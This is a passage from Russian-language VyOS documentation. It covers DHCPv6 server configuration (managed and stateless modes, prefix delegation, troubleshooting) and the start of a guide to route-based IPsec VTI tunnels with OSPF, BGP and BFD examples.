- **Интеграция с SLAAC**: Работа совместно с Router Advertisement

### DHCPv6 vs SLAAC

| Характеристика | DHCPv6 | SLAAC (Stateless) |
|----------------|--------|-------------------|
| Назначение адреса | Stateful (сервер контролирует) | Stateless (клиент генерирует) |
| DNS-серверы | Да | Через RDNSS (RA) |
| Домен поиска | Да | Через DNSSL (RA) |
| Централизованное управление | Да | Ограниченное |
| Статические резервирования | Да | Нет |
| Отслеживание клиентов | Да (lease tracking) | Нет |

**Режимы работы**:
- **Stateful DHCPv6**: Полное управление адресами (managed flag в RA)
- **Stateless DHCPv6**: Только параметры, адреса через SLAAC (other-config flag)
- **Гибридный**: SLAAC для адресов + DHCPv6 для параметров

## Базовая конфигурация

### Простой DHCPv6 сервер

```bash
# Shared network для DHCPv6
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200

# DNS-серверы
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8844

# Домен поиска
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com

# Применить на интерфейс
set service dhcpv6-server shared-network-name LAN interface eth1

commit
save
```

### Router Advertisement для managed режима

DHCPv6 требует Router Advertisement для информирования клиентов:

```bash
# Router Advertisement на интерфейсе
set service router-advert interface eth1 prefix 2001:db8:1::/64

# Managed flag (клиенты используют DHCPv6 для адресов)
set service router-advert interface eth1 managed-flag

# Other-config flag (клиенты используют DHCPv6 для параметров)
set service router-advert interface eth1 other-config-flag

commit
save
```

### Статическое резервирование (static mapping)

```bash
# Статическое резервирование по DUID
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping server1 identifier 00:01:00:01:12:34:56:78:ab:cd:ef:01:23:45
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping server1 ipv6-address 2001:db8:1::10

commit
save
```

**Примечание**: DHCPv6 использует DUID (DHCP Unique Identifier) вместо MAC-адреса.

## Расширенная конфигурация

### Stateless DHCPv6 (только параметры)

```bash
# DHCPv6 для параметров (без адресов)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8844
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com

# НЕ устанавливать address-range (клиенты получают адреса через SLAAC)

set service dhcpv6-server shared-network-name LAN interface eth1

# Router Advertisement без managed flag
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 other-config-flag  # Только параметры

commit
save
```

### DHCPv6 Prefix Delegation (PD)

Prefix Delegation позволяет делегировать IPv6 префиксы downstream роутерам:

```bash
# Prefix delegation pool
set service dhcpv6-server shared-network-name LAN subnet 2001:db8::/48 prefix-delegation prefix 2001:db8:1000::/52 delegated-length 56

# Применить на интерфейс
set service dhcpv6-server shared-network-name LAN interface eth1

commit
save
```

Downstream роутер запросит /56 префикс из pool 2001:db8:1000::/52.

### Множественные shared networks

```bash
# LAN 1
set service dhcpv6-server shared-network-name LAN1 subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200
set service dhcpv6-server shared-network-name LAN1 subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN1 interface eth1

# LAN 2
set service dhcpv6-server shared-network-name LAN2 subnet 2001:db8:2::/64 address-range start 2001:db8:2::100 stop 2001:db8:2::200
set service dhcpv6-server shared-network-name LAN2 subnet 2001:db8:2::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN2 interface eth2

commit
save
```

### Lease time configuration

```bash
# Настройка времени аренды
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 lease-time default 86400  # 24 часа
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 lease-time minimum 3600   # 1 час
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 lease-time maximum 172800 # 48 часов

commit
save
```

### NTP и SIP серверы

```bash
# NTP серверы через DHCPv6
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 nis-server 2001:db8:1::50

# SIP серверы (для VoIP)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 sip-server-address 2001:db8:1::60

commit
save
```

### Vendor options

```bash
# Vendor-specific options
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 vendor-option cisco option 1 value 'option-value'

commit
save
```

## Примеры конфигураций

### Пример 1: Базовый managed DHCPv6

```bash
# DHCPv6 сервер
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8844
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
set service dhcpv6-server shared-network-name LAN interface eth1

# Router Advertisement
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 managed-flag
set service router-advert interface eth1 other-config-flag

# IPv6 на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64

commit
save
```

### Пример 2: Stateless DHCPv6 + SLAAC

```bash
# DHCPv6 только для параметров (без адресов)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
set service dhcpv6-server shared-network-name LAN interface eth1

# Router Advertisement для SLAAC (без managed flag)
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 other-config-flag  # Только параметры через DHCPv6

# IPv6 на интерфейсе
set interfaces ethernet eth1 address 2001:db8:1::1/64

commit
save
```

### Пример 3: Статические резервирования для серверов

```bash
# DHCPv6 pool
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN interface eth1

# Статические резервирования
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping web-server identifier 00:01:00:01:aa:bb:cc:dd:11:22:33:44:55:66
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping web-server ipv6-address 2001:db8:1::10

set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping db-server identifier 00:01:00:01:aa:bb:cc:dd:77:88:99:aa:bb:cc
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping db-server ipv6-address 2001:db8:1::11

set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping dns-server identifier 00:01:00:01:aa:bb:cc:dd:dd:ee:ff:00:11:22
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping dns-server ipv6-address 2001:db8:1::53

# Router Advertisement
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 managed-flag

commit
save
```

### Пример 4: DHCPv6 Prefix Delegation для филиалов

**Головной офис (делегирует префиксы)**:

```bash
# DHCPv6 с Prefix Delegation
set service dhcpv6-server shared-network-name WAN subnet 2001:db8::/48 prefix-delegation prefix 2001:db8:1000::/52 delegated-length 56
set service dhcpv6-server shared-network-name WAN interface eth0

# Router Advertisement на WAN
set service router-advert interface eth0 prefix 2001:db8::/64

# IPv6 на WAN интерфейсе
set interfaces ethernet eth0 address 2001:db8::1/64

commit
save
```

**Филиал (запрашивает prefix delegation)**:

```bash
# DHCPv6 client для получения префикса
set interfaces ethernet eth0 dhcpv6-options prefix-delegation interface eth1 address 1
set interfaces ethernet eth0 dhcpv6-options prefix-delegation interface eth1 sla-id 0

# Router Advertisement на LAN для клиентов
set service router-advert interface eth1 prefix ::/64  # Будет использован делегированный префикс

commit
save
```

### Пример 5: Множественные VLAN с DHCPv6

```bash
# VLAN 10 - Management
set interfaces ethernet eth1 vif 10 address 2001:db8:10::1/64
set service dhcpv6-server shared-network-name MGMT subnet 2001:db8:10::/64 address-range start 2001:db8:10::100 stop 2001:db8:10::150
set service dhcpv6-server shared-network-name MGMT subnet 2001:db8:10::/64 name-server 2001:db8:10::53
set service dhcpv6-server shared-network-name MGMT interface eth1.10

set service router-advert interface eth1.10 prefix 2001:db8:10::/64
set service router-advert interface eth1.10 managed-flag

# VLAN 20 - Users
set interfaces ethernet eth1 vif 20 address 2001:db8:20::1/64
set service dhcpv6-server shared-network-name USERS subnet 2001:db8:20::/64 address-range start 2001:db8:20::100 stop 2001:db8:20::500
set service dhcpv6-server shared-network-name USERS subnet 2001:db8:20::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name USERS interface eth1.20

set service router-advert interface eth1.20 prefix 2001:db8:20::/64
set service router-advert interface eth1.20 managed-flag

# VLAN 30 - Guest (stateless)
set interfaces ethernet eth1 vif 30 address 2001:db8:30::1/64
set service dhcpv6-server shared-network-name GUEST subnet 2001:db8:30::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name GUEST interface eth1.30

set service router-advert interface eth1.30 prefix 2001:db8:30::/64
set service router-advert interface eth1.30 other-config-flag  # Stateless

commit
save
```

### Пример 6: DHCPv6 с VRF

```bash
# VRF для изоляции
set vrf name CUSTOMER-A table 100

# Интерфейс в VRF
set interfaces ethernet eth1 vrf CUSTOMER-A
set interfaces ethernet eth1 address 2001:db8:100::1/64

# DHCPv6 в VRF
set service dhcpv6-server shared-network-name VRF-A subnet 2001:db8:100::/64 address-range start 2001:db8:100::100 stop 2001:db8:100::200
set service dhcpv6-server shared-network-name VRF-A subnet 2001:db8:100::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name VRF-A interface eth1

# Router Advertisement
set service router-advert interface eth1 prefix 2001:db8:100::/64
set service router-advert interface eth1 managed-flag

commit
save
```

## Мониторинг и диагностика

### Просмотр active leases

```bash
# Показать все DHCPv6 leases
show dhcpv6 server leases

# Пример вывода:
# IPv6 address       DUID                                          State
# 2001:db8:1::100    00:01:00:01:12:34:56:78:aa:bb:cc:dd:ee:ff    active
```

### Просмотр статистики

```bash
# Статистика DHCPv6 сервера
show dhcpv6 server statistics

# Вывод включает:
# - Количество активных leases
# - Доступные адреса в pool
# - Использование pool (%)
```

### Проверка конфигурации

```bash
# Показать конфигурацию DHCPv6
show configuration service dhcpv6-server

# Показать Router Advertisement
show configuration service router-advert
```

### Логи DHCPv6

```bash
# Логи DHCPv6 сервера
show log | match dhcpv6

# Real-time мониторинг
monitor log | match dhcpv6

# Детальные логи (если включен debug)
show log dhcp6
```

### Проверка DUID клиента

На клиенте (Linux):

```bash
# Просмотр DUID
cat /var/lib/dhcp/dhclient6.leases | grep ia-na

# Windows PowerShell
Get-NetIPConfiguration | Select-Object InterfaceAlias, IPv6Address

# macOS
ipconfig getv6packet en0
```

### Тестирование с клиента

```bash
# Linux - запрос DHCPv6 адреса
sudo dhclient -6 -v eth0

# Просмотр полученного адреса
ip -6 addr show eth0

# Просмотр DNS через DHCPv6
cat /etc/resolv.conf
```

### Проверка Router Advertisement

```bash
# На роутере
show ipv6 route

# Отправка RA вручную (для теста)
sudo radvdump

# На клиенте (Linux)
ip -6 route show
```

## Устранение неполадок

### Проблема: Клиенты не получают IPv6 адреса

**Диагностика**:

```bash
# 1. Проверка DHCPv6 конфигурации
show configuration service dhcpv6-server

# 2. Проверка Router Advertisement
show configuration service router-advert

# 3. Проверка IPv6 forwarding
sysctl net.ipv6.conf.all.forwarding

# 4. Логи
show log | match dhcpv6

# 5. Проверка интерфейса
show interfaces ethernet eth1
```

**Решение**:

```bash
# Убедиться, что managed-flag установлен
set service router-advert interface eth1 managed-flag

# Проверить address-range
show configuration service dhcpv6-server shared-network-name LAN

# Перезапуск сервиса (если необходимо)
restart dhcpv6 server

commit
save
```

### Проблема: DHCPv6 работает, но нет DNS

**Причина**: DNS передается только через DHCPv6 или RDNSS в RA.

**Решение**:

```bash
# Добавить name-server в DHCPv6
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888

# Или использовать RDNSS в Router Advertisement
set service router-advert interface eth1 name-server 2001:4860:4860::8888

commit
save
```

### Проблема: Статическое резервирование не работает

**Причина**: Неправильный DUID.

**Диагностика**:

```bash
# Проверка DUID в логах
show log | match dhcpv6 | match DUID

# На клиенте (Linux)
cat /var/lib/dhcp/dhclient6.leases
```

**Решение**:

```bash
# Использовать правильный DUID из логов
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping server1 identifier <correct-duid>
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping server1 ipv6-address 2001:db8:1::10

commit
save

# Обновить lease на клиенте
# Linux: sudo dhclient -6 -r eth0 && sudo dhclient -6 eth0
```

### Проблема: Prefix Delegation не работает

**Диагностика**:

```bash
# На сервере - проверка PD конфигурации
show configuration service dhcpv6-server | match prefix-delegation

# На клиенте - проверка dhcpv6-options
show configuration interfaces ethernet eth0 dhcpv6-options

# Логи
show log | match "prefix delegation"
```

**Решение**:

```bash
# На сервере - убедиться, что PD настроен
set service dhcpv6-server shared-network-name WAN subnet 2001:db8::/48 prefix-delegation prefix 2001:db8:1000::/52 delegated-length 56

# На клиенте - настроить PD
set interfaces ethernet eth0 dhcpv6-options prefix-delegation interface eth1 address 1
set interfaces ethernet eth0 dhcpv6-options prefix-delegation interface eth1 sla-id 0

commit
save
```

### Проблема: DHCPv6 pool исчерпан

**Диагностика**:

```bash
# Проверка leases
show dhcpv6 server leases

# Статистика использования
show dhcpv6 server statistics
```

**Решение**:

```bash
# Расширить address-range
delete service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::500

# Или уменьшить lease time
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 lease-time default 3600  # 1 час

commit
save
```

### Проблема: Клиенты получают адреса через SLAAC вместо DHCPv6

**Причина**: Managed flag не установлен в RA.

**Решение**:

```bash
# Установить managed-flag
set service router-advert interface eth1 managed-flag

# Перезапуск RA
restart router-advert

commit
save

# На клиентах обновить конфигурацию
# Linux: sudo dhclient -6 -r eth0 && sudo dhclient -6 eth0
```

## Лучшие практики

### 1. Выбор правильного режима

```bash
# Managed DHCPv6 - для полного контроля
set service router-advert interface eth1 managed-flag

# Stateless - для простоты (SLAAC + DHCPv6 параметры)
set service router-advert interface eth1 other-config-flag
```

### 2. Резервирование адресов для критичных сервисов

```bash
# Статические резервирования для серверов
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping critical-server identifier <duid>
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping critical-server ipv6-address 2001:db8:1::10
```

### 3. Правильный размер pool

Планируйте размер address-range с запасом:

```bash
# Для 100 клиентов - pool на 200-300 адресов
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::400
```

### 4. DNS конфигурация

Всегда настраивайте DNS-серверы:

```bash
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8844
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
```

### 5. Мониторинг использования pool

Регулярно проверяйте использование:

```bash
show dhcpv6 server statistics
```

### 6. Lease time для различных сценариев

```bash
# Стабильная сеть - длинный lease time
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 lease-time default 86400  # 24 часа

# Guest network - короткий lease time
set service dhcpv6-server shared-network-name GUEST subnet 2001:db8:30::/64 lease-time default 3600  # 1 час
```

### 7. Документирование статических резервирований

Документируйте все static mappings:

```bash
# Комментарии в конфигурации
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 static-mapping web-server ipv6-address 2001:db8:1::10
# Web server - Apache, production
```

### 8. Безопасность

Используйте firewall для защиты DHCPv6:

```bash
set firewall ipv6 name LAN_LOCAL rule 100 action accept
set firewall ipv6 name LAN_LOCAL rule 100 protocol udp
set firewall ipv6 name LAN_LOCAL rule 100 destination port 546-547
```

### 9. Интеграция с DHCPv4

Поддерживайте dual-stack:

```bash
# DHCPv4
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 default-router 192.168.1.1

# DHCPv6
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 address-range start 2001:db8:1::100 stop 2001:db8:1::200
```

### 10. Логирование и мониторинг

Настройте логирование для аудита:

```bash
set system syslog file dhcpv6.log facility daemon level info
```

## Полезные команды

```bash
# Показать DHCPv6 leases
show dhcpv6 server leases

# Статистика
show dhcpv6 server statistics

# Конфигурация DHCPv6
show configuration service dhcpv6-server

# Конфигурация Router Advertisement
show configuration service router-advert

# Логи
show log | match dhcpv6
monitor log | match dhcpv6

# Restart DHCPv6 server
restart dhcpv6 server

# Restart Router Advertisement
restart router-advert

# Проверка IPv6 connectivity
ping 2001:db8:1::100

# IPv6 routing table
show ipv6 route

# Проверка интерфейсов
show interfaces
```

## Интеграция с другими функциями

### DHCPv6 + DNS Forwarding

```bash
# DHCPv6 указывает на локальный DNS
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:db8:1::1

# DNS Forwarding на роутере
set service dns forwarding listen-address 2001:db8:1::1
set service dns forwarding name-server 2001:4860:4860::8888
```

### DHCPv6 + Firewall

```bash
# Разрешить DHCPv6 трафик
set firewall ipv6 name WAN_LOCAL rule 100 action accept
set firewall ipv6 name WAN_LOCAL rule 100 protocol udp
set firewall ipv6 name WAN_LOCAL rule 100 source port 547
set firewall ipv6 name WAN_LOCAL rule 100 destination port 546
```

### DHCPv6 + High Availability

В HA setup DHCPv6 pool должен быть разделен между роутерами или использовать failover (пока не поддерживается в VyOS напрямую).

## Заключение

DHCPv6 Server в VyOS предоставляет полнофункциональное управление IPv6 адресацией для современных сетей. Поддержка как stateful (managed), так и stateless режимов, prefix delegation, статических резервирований и интеграция с Router Advertisement делают VyOS мощной платформой для IPv6 развертывания.

Основные преимущества DHCPv6 в VyOS:
- Полный контроль над IPv6 адресацией
- Статические резервирования для критичных устройств
- Prefix Delegation для hierarchical networks
- Интеграция с SLAAC
- Централизованное управление параметрами (DNS, NTP)

Рекомендации для production:
- Выбирайте правильный режим (managed vs stateless)
- Планируйте размер pool с запасом
- Используйте статические резервирования для серверов
- Настраивайте DNS и domain-search
- Мониторьте использование pool
- Документируйте все резервирования
- Интегрируйте с dual-stack (IPv4 + IPv6)
- Применяйте firewall rules для защиты

DHCPv6 в VyOS обеспечивает enterprise-grade управление IPv6 инфраструктурой с гибкостью конфигурации и надежностью, необходимой для production environments.


---

# VTI интерфейсы (Virtual Tunnel Interface) в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-vti/



VTI (Virtual Tunnel Interface) - это виртуальный туннельный интерфейс для route-based IPsec VPN. VTI обеспечивает более гибкий и масштабируемый подход к IPsec по сравнению с policy-based VPN.

## Обзор

### Что такое VTI

VTI создает виртуальный point-to-point интерфейс для IPsec туннеля:

```
Site A (192.168.1.0/24)
    |
[VyOS A] ---- VTI (172.16.0.1/30) ---- IPsec Tunnel ---- VTI (172.16.0.2/30) ---- [VyOS B]
    |                                                                                    |
Site B (192.168.2.0/24)
```

### Route-based vs Policy-based VPN

**Policy-based VPN**:
- Traffic selectors определяют какой трафик шифруется
- Сложная конфигурация для множества подсетей
- Трудно использовать с динамическим routing

**Route-based VPN (VTI)**:
- VTI интерфейс как обычный network интерфейс
- Routing определяет трафик через VPN
- Поддержка динамического routing (OSPF, BGP)
- Проще масштабировать

### Преимущества VTI

1. **Динамический routing** - OSPF, BGP через IPsec
2. **Гибкость** - любой трафик через VTI шифруется
3. **Масштабируемость** - легко добавлять новые подсети
4. **QoS** - можно применять traffic-policy к VTI
5. **Мониторинг** - статистика как на обычном интерфейсе
6. **Firewall** - firewall rules на VTI интерфейсе

### Когда использовать VTI

**Используйте VTI когда**:
- Нужен динамический routing через IPsec
- Множество подсетей за VPN
- Требуется гибкая маршрутизация
- Site-to-site VPN между VyOS роутерами

**Используйте policy-based когда**:
- Простой site-to-site (мало подсетей)
- Legacy оборудование не поддерживает VTI
- Нужен точный контроль traffic selectors

## Базовая конфигурация

### Простой VTI туннель

#### Site A конфигурация

```bash
# VTI интерфейс
set interfaces vti vti0 address 172.16.0.1/30
set interfaces vti vti0 description 'IPsec to Site B'

# IPsec конфигурация
set vpn ipsec authentication psk site-b id '203.0.113.1'
set vpn ipsec authentication psk site-b id '203.0.113.2'
set vpn ipsec authentication psk site-b secret 'SuperSecretKey123!'

# IKE group
set vpn ipsec ike-group IKE-SiteB key-exchange 'ikev2'
set vpn ipsec ike-group IKE-SiteB lifetime '28800'
set vpn ipsec ike-group IKE-SiteB proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-SiteB proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-SiteB proposal 1 hash 'sha256'

# ESP group
set vpn ipsec esp-group ESP-SiteB lifetime '3600'
set vpn ipsec esp-group ESP-SiteB pfs 'dh-group14'
set vpn ipsec esp-group ESP-SiteB proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-SiteB proposal 1 hash 'sha256'

# Site-to-site peer с VTI binding
set vpn ipsec site-to-site peer site-b authentication mode 'pre-shared-secret'
set vpn ipsec site-to-site peer site-b authentication pre-shared-secret 'site-b'
set vpn ipsec site-to-site peer site-b connection-type 'initiate'
set vpn ipsec site-to-site peer site-b ike-group 'IKE-SiteB'
set vpn ipsec site-to-site peer site-b default-esp-group 'ESP-SiteB'
set vpn ipsec site-to-site peer site-b local-address '203.0.113.1'
set vpn ipsec site-to-site peer site-b remote-address '203.0.113.2'

# Привязка VTI к peer
set vpn ipsec site-to-site peer site-b vti bind 'vti0'
set vpn ipsec site-to-site peer site-b vti esp-group 'ESP-SiteB'

# Отключить автоматическую установку маршрутов
set vpn ipsec options disable-route-autoinstall

# Статический маршрут через VTI
set protocols static route 192.168.2.0/24 interface vti0

commit
save
```

#### Site B конфигурация

```bash
# VTI интерфейс (обратные адреса)
set interfaces vti vti0 address 172.16.0.2/30
set interfaces vti vti0 description 'IPsec to Site A'

# IPsec (те же PSK, IKE, ESP groups)
set vpn ipsec authentication psk site-a id '203.0.113.2'
set vpn ipsec authentication psk site-a id '203.0.113.1'
set vpn ipsec authentication psk site-a secret 'SuperSecretKey123!'

set vpn ipsec ike-group IKE-SiteA key-exchange 'ikev2'
set vpn ipsec ike-group IKE-SiteA lifetime '28800'
set vpn ipsec ike-group IKE-SiteA proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-SiteA proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-SiteA proposal 1 hash 'sha256'

set vpn ipsec esp-group ESP-SiteA lifetime '3600'
set vpn ipsec esp-group ESP-SiteA pfs 'dh-group14'
set vpn ipsec esp-group ESP-SiteA proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-SiteA proposal 1 hash 'sha256'

# Peer конфигурация
set vpn ipsec site-to-site peer site-a authentication mode 'pre-shared-secret'
set vpn ipsec site-to-site peer site-a authentication pre-shared-secret 'site-a'
set vpn ipsec site-to-site peer site-a connection-type 'respond'
set vpn ipsec site-to-site peer site-a ike-group 'IKE-SiteA'
set vpn ipsec site-to-site peer site-a default-esp-group 'ESP-SiteA'
set vpn ipsec site-to-site peer site-a local-address '203.0.113.2'
set vpn ipsec site-to-site peer site-a remote-address '203.0.113.1'

set vpn ipsec site-to-site peer site-a vti bind 'vti0'
set vpn ipsec site-to-site peer site-a vti esp-group 'ESP-SiteA'

set vpn ipsec options disable-route-autoinstall

# Маршрут к Site A
set protocols static route 192.168.1.0/24 interface vti0

commit
save
```

### Проверка VTI туннеля

```bash
# Статус VTI интерфейса
show interfaces vti

# Детали VTI
show interfaces vti vti0

# IPsec SA (Security Associations)
show vpn ipsec sa

# Ping через туннель
ping 172.16.0.2 source-address 172.16.0.1
ping 192.168.2.10 source-address 192.168.1.1

# Трафик через VTI
show interfaces vti vti0 statistics
```

## Динамический routing через VTI

### VTI с OSPF

#### Site A

```bash
# VTI интерфейс
set interfaces vti vti0 address 172.16.0.1/30

# IPsec конфигурация (как выше)
# ...

# OSPF через VTI
set protocols ospf area 0 network 172.16.0.0/30
set protocols ospf area 0 network 192.168.1.0/24

# Или привязка к интерфейсу
set protocols ospf interface vti0 area 0
set protocols ospf interface eth1 area 0

# OSPF аутентификация на VTI
set protocols ospf interface vti0 authentication md5 key-id 1 md5-key 'OSPFSecret!'

commit
```

#### Site B

```bash
set interfaces vti vti0 address 172.16.0.2/30

# OSPF
set protocols ospf area 0 network 172.16.0.0/30
set protocols ospf area 0 network 192.168.2.0/24

set protocols ospf interface vti0 area 0
set protocols ospf interface vti0 authentication md5 key-id 1 md5-key 'OSPFSecret!'

commit
```

**Проверка**:
```bash
# OSPF neighbors через VTI
show ip ospf neighbor

# OSPF маршруты
show ip route ospf

# Детали OSPF интерфейса
show ip ospf interface vti0
```

### VTI с BGP

#### Hub (AS 65000)

```bash
# VTI к Spoke 1
set interfaces vti vti1 address 172.16.1.1/30

# VTI к Spoke 2
set interfaces vti vti2 address 172.16.2.1/30

# BGP конфигурация
set protocols bgp system-as 65000
set protocols bgp parameters router-id 10.0.0.1

# BGP neighbor через VTI1
set protocols bgp neighbor 172.16.1.2 remote-as 65001
set protocols bgp neighbor 172.16.1.2 description 'Spoke 1'
set protocols bgp neighbor 172.16.1.2 address-family ipv4-unicast

# BGP neighbor через VTI2
set protocols bgp neighbor 172.16.2.2 remote-as 65002
set protocols bgp neighbor 172.16.2.2 description 'Spoke 2'
set protocols bgp neighbor 172.16.2.2 address-family ipv4-unicast

# Анонсировать локальные сети
set protocols bgp address-family ipv4-unicast network 10.0.0.0/16

commit
```

#### Spoke 1 (AS 65001)

```bash
set interfaces vti vti1 address 172.16.1.2/30

set protocols bgp system-as 65001
set protocols bgp parameters router-id 10.1.0.1

set protocols bgp neighbor 172.16.1.1 remote-as 65000
set protocols bgp neighbor 172.16.1.1 description 'Hub'
set protocols bgp neighbor 172.16.1.1 address-family ipv4-unicast

set protocols bgp address-family ipv4-unicast network 10.1.0.0/16

commit
```

**Проверка**:
```bash
# BGP summary
show ip bgp summary

# BGP neighbors
show ip bgp neighbors 172.16.1.2

# BGP routes
show ip bgp
```

## Множественные VTI туннели

### Hub-and-Spoke топология

Hub с тремя Spoke:

```bash
# Hub конфигурация

# VTI к Spoke 1
set interfaces vti vti1 address 172.16.1.1/30
set interfaces vti vti1 description 'Tunnel to Spoke 1'

# VTI к Spoke 2
set interfaces vti vti2 address 172.16.2.1/30
set interfaces vti vti2 description 'Tunnel to Spoke 2'

# VTI к Spoke 3
set interfaces vti vti3 address 172.16.3.1/30
set interfaces vti vti3 description 'Tunnel to Spoke 3'

# IPsec peers
set vpn ipsec site-to-site peer spoke1 remote-address '203.0.113.11'
set vpn ipsec site-to-site peer spoke1 vti bind 'vti1'
set vpn ipsec site-to-site peer spoke1 vti esp-group 'ESP-DEFAULT'
# ... (IKE, ESP, auth конфигурация)

set vpn ipsec site-to-site peer spoke2 remote-address '203.0.113.12'
set vpn ipsec site-to-site peer spoke2 vti bind 'vti2'
set vpn ipsec site-to-site peer spoke2 vti esp-group 'ESP-DEFAULT'

set vpn ipsec site-to-site peer spoke3 remote-address '203.0.113.13'
set vpn ipsec site-to-site peer spoke3 vti bind 'vti3'
set vpn ipsec site-to-site peer spoke3 vti esp-group 'ESP-DEFAULT'

# OSPF для анонсирования маршрутов
set protocols ospf area 0 network 172.16.1.0/30
set protocols ospf area 0 network 172.16.2.0/30
set protocols ospf area 0 network 172.16.3.0/30
set protocols ospf area 0 network 10.0.0.0/16

commit
```

### Full Mesh VTI

Для полной связности между всеми site:

```bash
# Site A - VTI к Site B и Site C

# VTI к Site B
set interfaces vti vti10 address 172.16.10.1/30
set vpn ipsec site-to-site peer site-b vti bind 'vti10'

# VTI к Site C
set interfaces vti vti20 address 172.16.20.1/30
set vpn ipsec site-to-site peer site-c vti bind 'vti20'

# OSPF для автоматического обмена маршрутами
set protocols ospf area 0 network 172.16.10.0/30
set protocols ospf area 0 network 172.16.20.0/30

commit
```

## Продвинутые конфигурации

### VTI с BFD (Bidirectional Forwarding Detection)

BFD для быстрого обнаружения отказа туннеля:

```bash
# VTI интерфейс
set interfaces vti vti0 address 172.16.0.1/30

# BFD на VTI
set protocols bfd peer 172.16.0.2 interval receive 300
set protocols bfd peer 172.16.0.2 interval transmit 300
set protocols bfd peer 172.16.0.2 minimum-ttl 254

# OSPF с BFD
set protocols ospf interface vti0 bfd

# BGP с BFD
set protocols bgp neighbor 172.16.0.2 bfd

commit
```

BFD обеспечивает:
- Быстрое обнаружение отказа (sub-second)
- Автоматическое переключение на backup туннель
- Лучше чем OSPF/BGP hello таймеры

### VTI с policy routing

Policy-based routing через VTI:

```bash
# Два VTI туннеля (primary и backup)
set interfaces vti vti0 address 172.16.0.1/30
set interfaces vti vti1 address 172.16.1.1/30

# Route map для критичного трафика через primary
set policy route CRITICAL rule 10 destination address 192.168.10.0/24
set policy route CRITICAL rule 10 set interface vti0

# Остальной трафик через backup
set policy route CRITICAL rule 20 set interface vti1

